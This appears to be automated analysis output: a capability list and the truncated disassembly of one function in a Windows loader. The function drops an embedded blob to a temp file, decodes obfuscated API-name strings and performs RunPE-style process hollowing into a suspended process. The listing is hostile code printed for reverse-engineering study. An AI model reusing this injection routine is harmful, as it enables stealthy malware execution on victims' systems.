Function at 0x140001850
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Get common file path
Link many functions at runtime
Parse pe header
Write file on windows

Disassembly:
push rbp
push r13
push r12
push rdi
push rbx
mov eax, 0xa7e0
call fcn.14002cc70
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa790], rcx
mov rax, qword [rbp + 0xa790]
mov qword [rbp + 0xa738], rax
mov rax, qword [rbp + 0xa738]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa738]
add rax, rdx
mov qword [rbp + 0xa730], rax
mov rax, qword [rbp + 0xa738]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa738]
add rax, rdx
add rax, 0x108
mov qword [rbp + 0xa728], rax
cmp qword [rbp + 0xa738], 0
je 0x1400018e1
cmp qword [rbp + 0xa730], 0
je 0x1400018e1
cmp qword [rbp + 0xa728], 0
jne 0x1400018eb
mov ebx, 0
jmp 0x140003b73
lea rax, [rbp + 0xa180]
mov rdx, rax
mov ecx, 0x100
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
movabs rax, 0x3433474644455751
movabs rdx, 0x7663787a38373635
mov qword [rbp + 0xa160], rax
mov qword [rbp + 0xa168], rdx
mov word [rbp + 0xa170], 0x6e62
lea rdx, [rbp + 0xa050]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
call sym.rand
mov ecx, eax
movsxd rax, ecx
imul rax, rax, 0x66666667
shr rax, 0x20
mov edx, eax
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [rdx + 0xa]
mov dword [rbp + 0xa724], eax
mov dword [rbp + 0xa75c], 0
jmp 0x140001a0a
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe38e38e38e38e38f
mov rax, rcx
mul rdx
shr rdx, 4
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0xa65c], edx
mov word [rbp + 0x2e], 0
mov eax, dword [rbp + 0xa65c]
cdqe
movzx eax, byte [rbp + rax + 0xa160]
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x2e]
lea rax, [rbp + 0xa050]
mov rcx, rax
call sym.strcat
add dword [rbp + 0xa75c], 1
mov eax, dword [rbp + 0xa75c]
cmp eax, dword [rbp + 0xa724]
jl 0x1400019a2
lea rdx, [rbp + 0xa180]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscpy_s_260ull__wchar_t_____260ull___wchar_t_const_
lea rdx, [rbp + 0xa050]
lea rax, [rbp + 0x9e40]
mov rcx, rax
call sym.int_wcscat_s_260ull__wchar_t_____260ull___wchar_t_const_
mov word [rbp + 0xa046], 0
mov qword [rbp + 0x9e38], 0
lea rdx, [rbp + 0x9e40]
lea rax, [rbp + 0x9e38]
lea r8, [0x1400d31ea]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
call rax
mov dword [rbp + 0xa720], eax
cmp dword [rbp + 0xa720], 0
jne 0x140001a94
mov rax, qword [rbp + 0x9e38]
test rax, rax
jne 0x140001a9e
mov ebx, 0
jmp 0x140003b73
mov byte [rbp + 0xa387], 0xc6
mov byte [rbp + 0xa388], 0x6e
mov byte [rbp + 0xa389], 0x87
mov byte [rbp + 0xa38a], 0xef
mov byte [rbp + 0xa38b], 0x4f
mov byte [rbp + 0xa38c], 0x30
mov byte [rbp + 0xa38d], 0xc5
mov byte [rbp + 0xa38e], 0xba
lea rax, [rbp + 0xa387]
mov r12, rax
mov r13d, 8
lea rax, [rbp + 0xa38f]
mov qword [rbp + 0xa650], rax
nop
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
lea rcx, [rbp + 0xa38f]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x9e20]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
lea rax, [rbp + 0xa38f]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rax, [rbp + 0x4c0]
lea rdx, str.70W
mov ecx, 0x9960
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x9e20]
mov r8d, 0x9960
mov rcx, rax
call sym._ds_std::vector_unsigned_char__std::allocator_unsigned_char____const__unsigned_char__unsigned_long_long_
mov rdx, qword [rbp + 0x9e38]
lea rax, [rbp + 0x4c0]
mov r9, rdx
mov r8d, 0x9960
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x9e38]
mov rcx, rax
call sym.fclose
mov rdx, qword [rbp + 0xa728]
mov rax, qword [rbp + 0xa730]
mov rcx, rax
call sym.hasReloc__IMAGE_NT_HEADERS___IMAGE_SECTION_HEADER_
mov byte [rbp + 0xa71f], al
mov rax, qword [rbp + 0xa790]
mov qword [rbp + 0xa710], rax
lea rax, [rbp + 0x450]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x450], 0x68
lea rax, [rbp + 0x430]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x410], 0x5f
mov word [rbp + 0x412], 0x50
mov word [rbp + 0x414], 0x44
mov word [rbp + 0x416], 0x59
mov word [rbp + 0x418], 0x5d
mov word [rbp + 0x41a], 0x55
mov word [rbp + 0x41c], 9
mov word [rbp + 0x41e], 9
mov word [rbp + 0x420], 0x12
mov word [rbp + 0x422], 0x59
mov word [rbp + 0x424], 0x52
mov word [rbp + 0x426], 0x53
mov word [rbp + 0x428], 0x40
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa648], rax
mov rax, qword [rbp + 0xa648]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140001d36
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa640], rdx
mov qword [rbp + 0xa638], rax
mov dword [rbp + 0xa634], 0
jmp 0x140001d2c
mov eax, dword [rbp + 0xa634]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa638]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa634]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa640]
mov edx, dword [rbp + 0xa634]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa634], 1
cmp dword [rbp + 0xa634], 0xc
jle 0x140001cc4
nop
lea rax, [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0xa708], rax
cmp qword [rbp + 0xa708], 0
jne 0x140001d64
mov ebx, 0
jmp 0x140003b64
lea rax, [rbp + 0x410]
mov qword [rbp + 0xa628], rax
mov rax, qword [rbp + 0xa628]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140001e28
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0xa620], rdx
mov qword [rbp + 0xa618], rax
mov dword [rbp + 0xa614], 0
jmp 0x140001e1e
mov eax, dword [rbp + 0xa614]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa618]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa614]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa620]
mov edx, dword [rbp + 0xa614]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa614], 1
cmp dword [rbp + 0xa614], 0xc
jle 0x140001db6
nop
mov dword [rbp + 0xa5f0], 0
jmp 0x140001e4d
mov eax, dword [rbp + 0xa5f0]
cdqe
mov word [rbp + rax*2 + 0x410], 0
add dword [rbp + 0xa5f0], 1
cmp dword [rbp + 0xa5f0], 0xc
jle 0x140001e34
nop
mov word [rbp + 0x3f0], 0x77
mov word [rbp + 0x3f2], 0x47
mov word [rbp + 0x3f4], 0x53
mov word [rbp + 0x3f6], 0x56
mov word [rbp + 0x3f8], 0x4c
mov word [rbp + 0x3fa], 0x5c
mov word [rbp + 0x3fc], 0x6a
mov word [rbp + 0x3fe], 0x49
mov word [rbp + 0x400], 0x53
mov word [rbp + 0x402], 0x5e
mov word [rbp + 0x404], 0x5b
mov word [rbp + 0x406], 0x4c
mov word [rbp + 0x408], 0x33
mov word [rbp + 0x40a], 0x16
mov word [rbp + 0x40c], 0x42
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa608], rax
mov rax, qword [rbp + 0xa608]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140001f9f
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa600], rdx
mov qword [rbp + 0xa5f8], rax
mov dword [rbp + 0xa5f4], 0
jmp 0x140001f95
mov eax, dword [rbp + 0xa5f4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5f8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5f4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa600]
mov edx, dword [rbp + 0xa5f4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5f4], 1
cmp dword [rbp + 0xa5f4], 0xe
jle 0x140001f2d
nop
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa700], rax
cmp qword [rbp + 0xa700], 0
jne 0x140001fdf
mov ebx, 0
jmp 0x140003b64
mov r10, qword [rbp + 0xa700]
lea rax, [rbp + 0x9e40]
lea rdx, [rbp + 0x430]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6ff], al
movzx eax, byte [rbp + 0xa6ff]
test eax, eax
jne 0x14000205f
mov ebx, 0
jmp 0x140003b64
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0xa5e8], rax
mov rax, qword [rbp + 0xa5e8]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002123
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0xa5e0], rdx
mov qword [rbp + 0xa5d8], rax
mov dword [rbp + 0xa5d4], 0
jmp 0x140002119
mov eax, dword [rbp + 0xa5d4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5d8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5d4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5e0]
mov edx, dword [rbp + 0xa5d4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5d4], 1
cmp dword [rbp + 0xa5d4], 0xe
jle 0x1400020b1
nop
mov dword [rbp + 0xa5d0], 0
jmp 0x140002148
mov eax, dword [rbp + 0xa5d0]
cdqe
mov word [rbp + rax*2 + 0x3f0], 0
add dword [rbp + 0xa5d0], 1
cmp dword [rbp + 0xa5d0], 0xe
jle 0x14000212f
nop
cmp byte [rbp + 0xa71f], 0
je 0x1400023c4
mov word [rbp + 0x10], 0x7d
mov word [rbp + 0x12], 0x46
mov word [rbp + 0x14], 0x61
mov word [rbp + 0x16], 0x58
mov word [rbp + 0x18], 0x4f
mov word [rbp + 0x1a], 0xf
mov word [rbp + 0x1c], 0xe
mov word [rbp + 0x1e], 0x6b
mov word [rbp + 0x20], 0x4e
mov word [rbp + 0x22], 0x52
mov word [rbp + 0x24], 0x5d
mov word [rbp + 0x26], 0x5a
mov word [rbp + 0x28], 0x33
mov word [rbp + 0x2a], 0x32
mov word [rbp + 0x2c], 0x42
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa5c8], rax
mov rax, qword [rbp + 0xa5c8]
mov qword [rbp + 0xa5c0], rax
mov rax, qword [rbp + 0xa5c0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140002285
mov rax, qword [rbp + 0xa5c8]
mov rdx, qword [rbp + 0xa5c8]
mov qword [rbp + 0xa5b8], rdx
mov qword [rbp + 0xa5b0], rax
mov dword [rbp + 0xa5ac], 0
jmp 0x14000227b
mov eax, dword [rbp + 0xa5ac]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa5b0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa5ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa5b8]
mov edx, dword [rbp + 0xa5ac]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa5ac], 1
cmp dword [rbp + 0xa5ac], 0xe
jle 0x140002213
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6f0], rax
cmp qword [rbp + 0xa6f0], 0
jne 0x1400022c2
mov ebx, 0
jmp 0x140003b64
mov r8, qword [rbp + 0xa6f0]
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3ec]
mov rcx, rax
call r8
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa5a0], rax
mov rax, qword [rbp + 0xa5a0]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002398
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0xa598], rdx
mov qword [rbp + 0xa590], rax
mov dword [rbp + 0xa58c], 0
jmp 0x14000238e
mov eax, dword [rbp + 0xa58c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa590]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa58c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa598]
mov edx, dword [rbp + 0xa58c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa58c], 1
cmp dword [rbp + 0xa58c], 0xe
jle 0x140002326
nop
mov dword [rbp + 0xa588], 0
jmp 0x1400023ba
mov eax, dword [rbp + 0xa588]
cdqe
mov word [rbp + rax*2 + 0x10], 0
add dword [rbp + 0xa588], 1
cmp dword [rbp + 0xa588], 0xe
jle 0x1400023a4
nop
mov word [rbp + 0x3c0], 0x62
mov word [rbp + 0x3c2], 0x5c
mov word [rbp + 0x3c4], 0x44
mov word [rbp + 0x3c6], 0x43
mov word [rbp + 0x3c8], 0x4d
mov word [rbp + 0x3ca], 0x58
mov word [rbp + 0x3cc], 0x56
mov word [rbp + 0x3ce], 0x7a
mov word [rbp + 0x3d0], 0x50
mov word [rbp + 0x3d2], 0x51
mov word [rbp + 0x3d4], 0x51
mov word [rbp + 0x3d6], 0x5c
mov word [rbp + 0x3d8], 5
mov word [rbp + 0x3da], 0x39
mov word [rbp + 0x3dc], 0x42
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa580], rax
mov rax, qword [rbp + 0xa580]
mov qword [rbp + 0xa578], rax
mov rax, qword [rbp + 0xa578]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x14000251a
mov rax, qword [rbp + 0xa580]
mov rdx, qword [rbp + 0xa580]
mov qword [rbp + 0xa570], rdx
mov qword [rbp + 0xa568], rax
mov dword [rbp + 0xa564], 0
jmp 0x140002510
mov eax, dword [rbp + 0xa564]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa568]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa564]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa570]
mov edx, dword [rbp + 0xa564]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa564], 1
cmp dword [rbp + 0xa564], 0xe
jle 0x1400024a8
nop
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6e8], rax
cmp qword [rbp + 0xa6e8], 0
jne 0x14000255a
mov ebx, 0
jmp 0x140003b64
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0xa558], rax
mov rax, qword [rbp + 0xa558]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000261e
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3c0]
mov qword [rbp + 0xa550], rdx
mov qword [rbp + 0xa548], rax
mov dword [rbp + 0xa544], 0
jmp 0x140002614
mov eax, dword [rbp + 0xa544]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa548]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa544]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa550]
mov edx, dword [rbp + 0xa544]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa544], 1
cmp dword [rbp + 0xa544], 0xe
jle 0x1400025ac
nop
mov dword [rbp + 0xa540], 0
jmp 0x140002643
mov eax, dword [rbp + 0xa540]
cdqe
mov word [rbp + rax*2 + 0x3c0], 0
add dword [rbp + 0xa540], 1
cmp dword [rbp + 0xa540], 0xe
jle 0x14000262a
nop
mov r10, qword [rbp + 0xa6e8]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
call r10
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
test rax, rax
jne 0x140002935
mov word [rbp - 0x20], 0x60
mov word [rbp - 0x1e], 0x50
mov word [rbp - 0x1c], 0x44
mov word [rbp - 0x1a], 0x5a
mov word [rbp - 0x18], 0x51
mov word [rbp - 0x16], 0x57
mov word [rbp - 0x14], 0x5b
mov word [rbp - 0x12], 0x4f
mov word [rbp - 0x10], 0x59
mov word [rbp - 0xe], 0x6d
mov word [rbp - 0xc], 0x4c
mov word [rbp - 0xa], 0x50
mov word [rbp - 8], 0x23
mov word [rbp - 6], 0x24
mov word [rbp - 4], 0x31
mov word [rbp - 2], 0x30
mov word [rbp], 0x44
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa538], rax
mov rax, qword [rbp + 0xa538]
mov qword [rbp + 0xa530], rax
mov rax, qword [rbp + 0xa530]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
test al, al
je 0x1400027d6
mov rax, qword [rbp + 0xa538]
mov rdx, qword [rbp + 0xa538]
mov qword [rbp + 0xa528], rdx
mov qword [rbp + 0xa520], rax
mov dword [rbp + 0xa51c], 0
jmp 0x1400027cc
mov eax, dword [rbp + 0xa51c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa520]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa51c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa528]
mov edx, dword [rbp + 0xa51c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa51c], 1
cmp dword [rbp + 0xa51c], 0x10
jle 0x140002764
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6e0], rax
cmp qword [rbp + 0xa6e0], 0
jne 0x140002813
mov ebx, 0
jmp 0x140003b64
mov r8, qword [rbp + 0xa6e0]
mov rax, qword [rbp + 0x430]
mov edx, 0
mov rcx, rax
call r8
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa510], rax
mov rax, qword [rbp + 0xa510]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400028fa
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xa508], rdx
mov qword [rbp + 0xa500], rax
mov dword [rbp + 0xa4fc], 0
jmp 0x1400028f0
mov eax, dword [rbp + 0xa4fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa500]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa508]
mov edx, dword [rbp + 0xa4fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4fc], 1
cmp dword [rbp + 0xa4fc], 0x10
jle 0x140002888
nop
mov dword [rbp + 0xa4f8], 0
jmp 0x14000291c
mov eax, dword [rbp + 0xa4f8]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0xa4f8], 1
cmp dword [rbp + 0xa4f8], 0x10
jle 0x140002906
nop
mov rax, qword [rbp + 0xa790]
mov rcx, rax
call sym.runpe_unsigned_char_
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x34]
sub edx, eax
mov dword [rbp + 0xa6dc], edx
mov word [rbp + 0x390], 0x63
mov word [rbp + 0x392], 0x47
mov word [rbp + 0x394], 0x5f
mov word [rbp + 0x396], 0x43
mov word [rbp + 0x398], 0x5d
mov word [rbp + 0x39a], 0x69
mov word [rbp + 0x39c], 0x48
mov word [rbp + 0x39e], 0x54
mov word [rbp + 0x3a0], 0x5f
mov word [rbp + 0x3a2], 0x58
mov word [rbp + 0x3a4], 0x4d
mov word [rbp + 0x3a6], 0x4c
mov word [rbp + 0x3a8], 0xd
mov word [rbp + 0x3aa], 0x24
mov word [rbp + 0x3ac], 0x2f
mov word [rbp + 0x3ae], 0x2c
mov word [rbp + 0x3b0], 0x36
mov word [rbp + 0x3b2], 0x3c
mov word [rbp + 0x3b4], 0x46
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4f0], rax
mov rax, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e8], rax
mov rax, qword [rbp + 0xa4e8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
test al, al
je 0x140002aca
mov rax, qword [rbp + 0xa4f0]
mov rdx, qword [rbp + 0xa4f0]
mov qword [rbp + 0xa4e0], rdx
mov qword [rbp + 0xa4d8], rax
mov dword [rbp + 0xa4d4], 0
jmp 0x140002ac0
mov eax, dword [rbp + 0xa4d4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4d8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4d4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4e0]
mov edx, dword [rbp + 0xa4d4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4d4], 1
cmp dword [rbp + 0xa4d4], 0x12
jle 0x140002a58
nop
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa6d0], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0xa4c8], rax
mov rax, qword [rbp + 0xa4c8]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002bba
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x390]
mov qword [rbp + 0xa4c0], rdx
mov qword [rbp + 0xa4b8], rax
mov dword [rbp + 0xa4b4], 0
jmp 0x140002bb0
mov eax, dword [rbp + 0xa4b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa4b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa4b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa4c0]
mov edx, dword [rbp + 0xa4b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa4b4], 1
cmp dword [rbp + 0xa4b4], 0x12
jle 0x140002b48
nop
mov dword [rbp + 0xa4b0], 0
jmp 0x140002bdf
mov eax, dword [rbp + 0xa4b0]
cdqe
mov word [rbp + rax*2 + 0x390], 0
add dword [rbp + 0xa4b0], 1
cmp dword [rbp + 0xa4b0], 0x12
jle 0x140002bc6
nop
mov byte [rbp + 0xa75b], 0
cmp byte [rbp + 0xa71f], 0
je 0x140002c58
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0xa730]
mov dword [rax + 0x34], edx
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa710]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa75b], al
jmp 0x140002ca2
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x54]
mov r8d, eax
